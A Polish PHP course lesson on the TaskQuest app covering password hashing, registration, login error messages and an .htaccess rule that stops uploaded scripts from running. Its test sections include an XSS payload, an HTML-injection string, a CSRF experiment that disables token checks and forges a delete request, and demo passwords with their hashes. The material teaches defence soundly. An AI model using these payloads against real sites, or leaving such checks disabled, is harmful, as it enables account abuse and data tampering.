Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela uzytkownicy od Lekcji 17 ma kolumnę haslo_hash, ale u wszystkich jest w niej NULL.

Nazwa kolumny nie jest przypadkowa. Nie zapisujemy hasła, tylko jego skrót (hash). Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.

Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.

6.2 Nowy mechanizm: password_hash() i password_verify()

W brudnopis.php, pod kodem z sekcji 3, dopisz:

echo '<h2>Hasła</h2>';

echo '<p>md5: ' . md5('haslo123') . '</p>';
echo '<p>md5: ' . md5('haslo123') . '</p>';

echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';
echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';

Porównaj wyniki:

  • md5() daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę. md5() i sha1() nie nadają się do haseł.
  • password_hash() daje za każdym razem inny wynik. Do hasła dokleja losową sól (salt), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.

Budowa wyniku password_hash():

$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
 │  │           sól (22 znaki)          właściwy hash (31 znaków)
 │  koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
 algorytm (2y = bcrypt)

Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego password_verify() potrzebuje tylko dwóch rzeczy:

password_verify('wpisane hasło', $hashZBazy)   // true albo false

PASSWORD_DEFAULT oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna haslo_hash ma VARCHAR(255), a nie VARCHAR(60).

Typowe błędy

  • password_hash() przy logowaniu i porównanie === z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłącznie password_verify().
  • trim() na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.
  • Hash wklejony w PHP w cudzysłowie "$2y$10$..." — PHP potraktuje $2y i dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach.
  • Hasło w value="..." formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej $haslo w czasie jednego żądania.

6.3 SAMODZIELNIE — hashe kont testowych

Kama i Ola dostaną hasła:

KontoHasło
Kama_2026KamaQuest26
Ola_TQOlaQuest26

W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź password_verify() dla czterech przypadków:

HasłoHashOczekiwany wynik
KamaQuest26hash Kamytrue
kamaquest26hash Kamyfalse (wielkość liter ma znaczenie)
OlaQuest26hash Olitrue
OlaQuest26hash Kamyfalse

Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.

HINT

Wynik password_hash() zapisz w zmiennej ($hashKamy) i użyj jej w password_verify(). Jeśli wygenerujesz hash drugi raz, będzie inny, ale nadal poprawny.

ROZWIĄZANIE
$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);

echo '<p>Kama: ' . $hashKamy . '</p>';
echo '<p>Ola: ' . $hashOli . '</p>';

var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));

6.4 Włączamy hasła do TaskQuest

Krok 1 — baza

W sql/taskquest.sql:

  1. W CREATE TABLE uzytkownicy zmień haslo_hash VARCHAR(255) NULL na haslo_hash VARCHAR(255) NOT NULL. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie.
  2. Polecenie INSERT INTO uzytkownicy zastąp wersją, która wymienia kolumny i podaje hashe z kroku 6.3:
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);

Kolumny avatar nie wymieniamy, więc dostaje NULL. INSERT INTO zadania się nie zmienia (Kama nadal ma id 1, Ola id 2).

  1. Uruchom cały skrypt w phpMyAdmin (baza taskquest → SQL) i opróżnij katalog uploads/avatary/ (tylko pliki avatar_...). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.

Sprawdzenie: w phpMyAdmin kolumna haslo_hash ma u obu kont tekst zaczynający się od $2y$ i długi na 60 znaków.

Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale zaloguj.php jeszcze nie.

Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji

W includes/funkcje_tekstowe.php:

  1. Zmień walidujDaneLogowania(string $login): array na walidujDaneLogowania(string $login, string $haslo): array. Reguła loginu zostaje. Dochodzi jedna: puste hasło → Podaj hasło. Długości hasła przy logowaniu nie sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy.
  2. Dopisz pod nią walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:
PoleWarunekKomunikat
loginwalidujLogin() zwraca falseten sam co w walidujDaneLogowania()
imiępusteImię jest wymagane.
imię(tylko gdy niepuste) dłuższe niż 30 znakówImię może mieć najwyżej 30 znaków.
hasłokrótsze niż 8 znakówHasło musi mieć co najmniej 8 znaków.
hasło(tylko gdy długość jest dobra) różne od powtórzonegoHasła nie są takie same.

Reguły imienia znasz z Lekcji 14. Wtedy były w walidujDaneLogowania(), a w L18 z niej zniknęły.

Testy (w brudnopisie z require_once pliku funkcje_tekstowe.php):

WywołanieOczekiwany wynik
walidujDaneLogowania('Kama_2026', '')['Podaj hasło.']
walidujDaneLogowania('Kama_2026', 'cokolwiek')[]
walidujDaneRejestracji('Ka', '', 'krotkie', 'krotkie')3 komunikaty: login, imię wymagane, hasło za krótkie
walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'dluzszehaslo', 'dluzszeHaslo')['Hasła nie są takie same.']
walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'zażółćgę', 'zażółćgę')[] (8 znaków — mb_strlen)

ROZWIĄZANIE: sekcja 11, includes/funkcje_tekstowe.php.

Krok 3 — funkcje bazy

W includes/funkcje_bazy.php dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):

  1. pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array — SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?. Zwraca wiersz ['id' => ..., 'haslo_hash' => ...] albo null, gdy takiego loginu nie ma.
  2. dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int — INSERT loginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwraca id nowego użytkownika.

Obie piszesz według wzorów z L18 i L19 (wczytajUzytkownika(), dodajZadanie()).

Dlaczego nie wczytajUzytkownika()? Obiekt Uzytkownik nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w SELECT wymieniamy kolumny, nigdy *).

znajdzIdUzytkownika() zostaje. Użyjesz jej przy rejestracji.

ROZWIĄZANIE: sekcja 11, includes/funkcje_bazy.php.

Krok 4 — logowanie z hasłem (zaloguj.php)

Zmiany w zaloguj.php:

  1. Formularz: pod polem loginu nowe pole <input type="password" id="haslo" name="haslo" required> z etykietą „Hasło”. Bez value: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem ($tokenCsrf przed $nazwaStrony).
  2. Tekst: zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi <p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>.
  3. Odczyt: $haslo = $_POST['haslo'] ?? ''; — bez trim().
  4. Token i walidacja: jak w dodaj-zadanie.php: zły token → komunikat, w przeciwnym razie walidujDaneLogowania($login, $haslo).
  5. Sprawdzenie w bazie: zamiast znajdzIdUzytkownika() → pobierzDaneLogowania(). Jeśli wynik to null albo password_verify() zwraca false, dopisz do $bledy jeden wspólny komunikat Nieprawidłowy login lub hasło. W przeciwnym razie jak dotąd: session_regenerate_id(true), $_SESSION['uzytkownik_id'] (teraz z $daneLogowania['id']), komunikat, przekierowanie.
  6. Escapowanie: value loginu i $bladBazy — jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.

Dlaczego jeden komunikat? Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.

Zmienna $uzytkownikId z L18 znika, jej miejsce zajmuje $daneLogowania.

ROZWIĄZANIE: sekcja 11, zaloguj.php (pełny plik).

Sprawdzenie:

LoginHasłoWynik
Kama_2026KamaQuest26lista zadań Kamy
Kama_2026kamaquest26Nieprawidłowy login lub hasło.
Nikt_TakiKamaQuest26Nieprawidłowy login lub hasło. (ten sam komunikat!)
Kama_2026(puste — usuń required w narzędziach przeglądarki)Podaj hasło.
Kacokolwiekkomunikat o formacie loginu

7. Kolejne zadanie — rejestracja

Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.

SAMODZIELNIE

Utwórz rejestracja.php według schematu strony z formularzem (L13), wzorując się na nowym zaloguj.php:

  1. Strona tylko dla niezalogowanych. Zalogowany gracz jest przekierowany na index.php (jak w zaloguj.php).
  2. Formularz POST z tokenem i czterema polami: login (maxlength="20"), imie (maxlength="30"), haslo i powtorzone_haslo (oba type="password"). Wszystkie z etykietą i required. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie.
  3. Po wysłaniu: trim() na loginie i imieniu, hasła bez zmian → zły token albo walidujDaneRejestracji() → jeśli brak błędów:
    • login zajęty (znajdzIdUzytkownika() nie zwraca null) → Ten login jest już zajęty.,
    • w przeciwnym razie dodajUzytkownika() z hashem hasła, a potem od razu zalogowanie: session_regenerate_id(true), $_SESSION['uzytkownik_id'], komunikat Konto zostało założone. Witaj w TaskQuest!, przekierowanie na index.php.
  4. Awaria bazy: ramka <p class="blad">Nie udało się założyć konta: ...</p>.
  5. Tytuł strony: Rejestracja — TaskQuest. Pod formularzem: <p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>.

Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.

HINT

Zajętość loginu sprawdzasz w tym samym try, w którym potem zapisujesz, bo oba kroki potrzebują połączenia. Pamiętaj, że UNIQUE w bazie nie rozróżnia wielkości liter (L17). Login kama_2026 też jest zajęty, a znajdzIdUzytkownika() porównuje tak samo.

POMOC
try {
    $polaczenie = polaczZBaza();

    if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
        $bledy[] = 'Ten login jest już zajęty.';
    } else {
        $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));

        // zalogowanie jak w zaloguj.php
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

Dlaczego nie zapisać po prostu i poczekać, aż UNIQUE zgłosi błąd? Można, ale wtedy gracz zobaczy komunikat mysqli („Duplicate entry…”) w ramce awarii zamiast czytelnego zdania. UNIQUE zostaje jako ostatnia linia obrony.

ROZWIĄZANIE: Sekcja 11, rejestracja.php (pełny plik).

8. Katalog avatarów pod ochroną serwera

W Lekcji 21 katalog uploads/avatary/ chroniła tylko walidacja w profil.php. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik .php.

  1. Utwórz w uploads/avatary/ plik test.php:

    <?php
    echo 'Ten skrypt został wykonany!';
  2. Otwórz http://localhost/taskquest/uploads/avatary/test.php. Serwer wykonał skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tym config.php z hasłem do bazy), zmieniać je i usuwać.
  3. Otwórz http://localhost/taskquest/uploads/avatary/. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.

Apache czyta ustawienia z plików .htaccess umieszczonych w katalogach strony. Utwórz w VS Code plik uploads/avatary/.htaccess (nazwa zaczyna się od kropki i nie ma rozszerzenia):

# TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes

<FilesMatch "\.(php|php[0-9]|phtml|phar)$">
    Require all denied
</FilesMatch>
  • Options -Indexes wyłącza listę plików katalogu.
  • FilesMatch z wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, a Require all denied zabrania dostępu do nich.

Sprawdzenie:

AdresPrzedPo
.../uploads/avatary/test.php„Ten skrypt został wykonany!”403 Forbidden
.../uploads/avatary/lista plików403 Forbidden
avatar na liście zadań (wgraj nowy)widocznynadal widoczny

Usuń test.php.

W XAMPP pliki .htaccess w htdocs działają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików poza katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy .htaccess.

Diagnostyka i stopka

  1. W diagnostyka.php dopisz do $wymaganePliki ścieżki 'rejestracja.php' i 'uploads/avatary/.htaccess' (razem 23). czyPlikIstnieje() działa też dla pliku z kropką na początku.
  2. W includes/footer.php zmień wersję na TaskQuest 2.2.

9. Testy

Przed testami uruchom ponownie sql/taskquest.sql (krok 6.4) i opróżnij uploads/avatary/ (poza .htaccess!).

Test 1 — regresja

Zaloguj się jako Kama_2026 / KamaQuest26. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako Ola_TQ / OlaQuest26 — widać jej jedno zadanie.

Test 2 — logowanie

Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają ten sam komunikat.

Test 3 — rejestracja

Załóż konto: login Nowy_Gracz, imię Ala, hasło tajnehaslo1 (dwa razy).

  • Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.
  • Widzisz kółko z literą A, 0 XP, pustą listę zadań.
  • W rankingu: Ola, Kama, Nowy_Gracz.
  • W phpMyAdmin nowy wiersz ma haslo_hash zaczynający się od $2y$, a avatar i data_ostatniej_aktywnosci równe NULL.
  • Wyloguj się i zaloguj ponownie Nowy_Gracz / tajnehaslo1.

Test 4 — walidacja rejestracji

LoginImięHasłoPowtórzoneOczekiwany wynik
Ka (same spacje)krotkiekrotkie3 komunikaty: login, imię wymagane, hasło za krótkie
Nowy_Gracz2Alatajnehaslo1tajnehaslo2Hasła nie są takie same.; login i imię zostały w polach, pola haseł są puste
kama_2026Kamatajnehaslo1tajnehaslo1Ten login jest już zajęty. (małe litery!)
Ala Ma KotaAlatajnehaslo1tajnehaslo1komunikat o formacie loginu

Test 5 — XSS

  1. Zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b> — na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka.
  2. Zarejestruj konto z imieniem <i>Ala</i> — powitanie pokazuje dosłownie <i>Ala</i>, a w kółku avatara jest znak <.
  3. Formularz nowego zadania: tytuł Cytat "PHP" i 'MySQL', XP abc → błąd walidacji, a pole tytułu zawiera cały tytuł z cudzysłowami.
  4. Formularz nowego zadania: opis </textarea><b>X</b>, XP abc → błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.

Test 6 — CSRF

  1. atak.html w Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.
  2. W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (F12 → Dane → Ciasteczka) usuń ciasteczko PHPSESSID. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa.
  3. Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.

Test 7 — katalog avatarów

Tabela w sekcji 8.

Test 8 — diagnostyka

diagnostyka.php — 23 pliki, wszystkie [OK]. Zmień nazwę .htaccess na htaccess.txt → [BRAK] przy uploads/avatary/.htaccess. Przywróć nazwę.

Test 9 — baza nie działa

Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: …”, login i imię zostały w polach. Uruchom MySQL.

10. Obowiązkowe eksperymenty

Po każdym eksperymencie przywróć kod.

Eksperyment 1: kolejność escapowania

Dodaj zadanie z opisem:

Porównać wyniki testów z klasą 3A i 3B, potem Q&A z nauczycielem

Na liście opis jest skrócony do: ... potem Q&A .... Teraz w pętli listy w index.php zamień kolejność: najpierw htmlspecialchars(), potem skrocOpis(), czyli skrocOpis(htmlspecialchars($zadanie->pobierzOpis())). Odśwież.

Na liście pojawia się ... potem Q&am.... htmlspecialchars() zamienił & na pięć znaków &amp;, a skrocOpis() przeciął encję w połowie. Przeglądarka dostała niepełne &am i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.

Eksperyment 2: podwójne escapowanie

W dodaj-zadanie.php, tuż przed wywołaniem dodajZadanie(), dopisz tymczasowo $tytulZadania = htmlspecialchars($tytulZadania);. Dodaj zadanie Tom & Jerry.

Na liście widać Tom &amp; Jerry, a w phpMyAdmin w kolumnie tytul jest zapisane Tom &amp; Jerry. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.

Eksperyment 3: CSRF usuwa zadanie

  1. W usun-zadanie.php zamień blok sprawdzający token w komentarz.
  2. Skopiuj atak.html jako atak2.html. Zmień action na usun-zadanie.php, usuń cztery ukryte pola i dodaj jedno: name="id" z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin).
  3. W Firefoksie (zalogowana Kama) otwórz atak2.html. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”.
  4. Przywróć sprawdzanie tokenu i otwórz atak2.html jeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.

Eksperyment 4: wolny hash to zaleta

W brudnopisie:

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '<p>password_hash: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, ['cost' => 14]);
echo '<p>password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    md5('KamaQuest26' . $i);
}
echo '<p>100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s</p>';

Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden password_hash() trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy md5() kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy password_hash() potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.

11. ROZWIĄZANIE

Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, config.php, header.php, funkcje_grywalizacji.php, funkcje_terminow.php, funkcje_zadan.php, funkcje_avatara.php) są identyczne jak po Lekcji 21.

ROZWIĄZANIE

uploads/avatary/.htaccess (nowy plik)

Treść jak w sekcji 8.

sql/taskquest.sql — zmiany

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NOT NULL,          -- (L22) wynik password_hash()
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);

Hashe powyżej są poprawne dla podanych haseł. Twoje, wygenerowane w kroku 6.3, będą inne i też są poprawne. Reszta skryptu bez zmian.

includes/funkcje_sesji.php — na końcu pliku

Funkcje pobierzTokenCsrf() i sprawdzTokenCsrf() — kod jak w ROZWIĄZANIU kroku 5.3.

includes/funkcje_tekstowe.php — zmiany

walidujDaneLogowania() w nowej wersji i pod nią nowa funkcja (walidujLogin() i pozostałe funkcje bez zmian):

function walidujDaneLogowania(string $login, string $haslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($haslo === '') {
        $bledy[] = 'Podaj hasło.';
    }

    return $bledy;
}

function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($imieUzytkownika === '') {
        $bledy[] = 'Imię jest wymagane.';
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = 'Imię może mieć najwyżej 30 znaków.';
    }

    if (mb_strlen($haslo) < 8) {
        $bledy[] = 'Hasło musi mieć co najmniej 8 znaków.';
    } elseif ($haslo !== $powtorzoneHaslo) {
        $bledy[] = 'Hasła nie są takie same.';
    }

    return $bledy;
}

includes/funkcje_bazy.php — zmiany

  1. Komentarz na górze: „(Lekcje 18–22)”.
  2. Na końcu pliku:
function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
    $zapytanie = $polaczenie->prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    return $wynik->fetch_assoc();   // null, gdy nie ma takiego loginu
}

function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
    $zapytanie = $polaczenie->prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
    $zapytanie->bind_param('sss', $login, $imieUzytkownika, $hasloHash);
    $zapytanie->execute();

    return $zapytanie->insert_id;
}

zaloguj.php (pełny plik)

Etykiety i kolejność require_once mogą się drobnie różnić od Twojej wersji z L18. Ważna jest logika.

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $haslo = $_POST['haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneLogowania($login, $haslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();
            $daneLogowania = pobierzDaneLogowania($polaczenie, $login);

            if ($daneLogowania === null || !password_verify($haslo, $daneLogowania['haslo_hash'])) {
                $bledy[] = 'Nieprawidłowy login lub hasło.';
            } else {
                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $daneLogowania['id'];

                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Logowanie</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się zalogować: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="zaloguj.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="haslo">Hasło</label>
    <input type="password" id="haslo" name="haslo" required>

    <button type="submit">Wejdź do TaskQuest</button>
</form>

<p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

rejestracja.php (nowy plik)

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$imieUzytkownika = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');
    $haslo = $_POST['haslo'] ?? '';
    $powtorzoneHaslo = $_POST['powtorzone_haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();

            if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
                $bledy[] = 'Ten login jest już zajęty.';
            } else {
                $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));

                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $uzytkownikId;

                ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Załóż konto</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się założyć konta: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="rejestracja.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="imie">Imię</label>
    <input type="text" id="imie" name="imie" maxlength="30" value="<?= htmlspecialchars($imieUzytkownika); ?>" required>

    <label for="haslo">Hasło (co najmniej 8 znaków)</label>
    <input type="password" id="haslo" name="haslo" required>

    <label for="powtorzone_haslo">Powtórz hasło</label>
    <input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required>

    <button type="submit">Załóż konto</button>
</form>

<p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

wyloguj.php (pełny plik)

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

if (!sprawdzTokenCsrf()) {
    header('Location: index.php');
    exit;
}

$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;

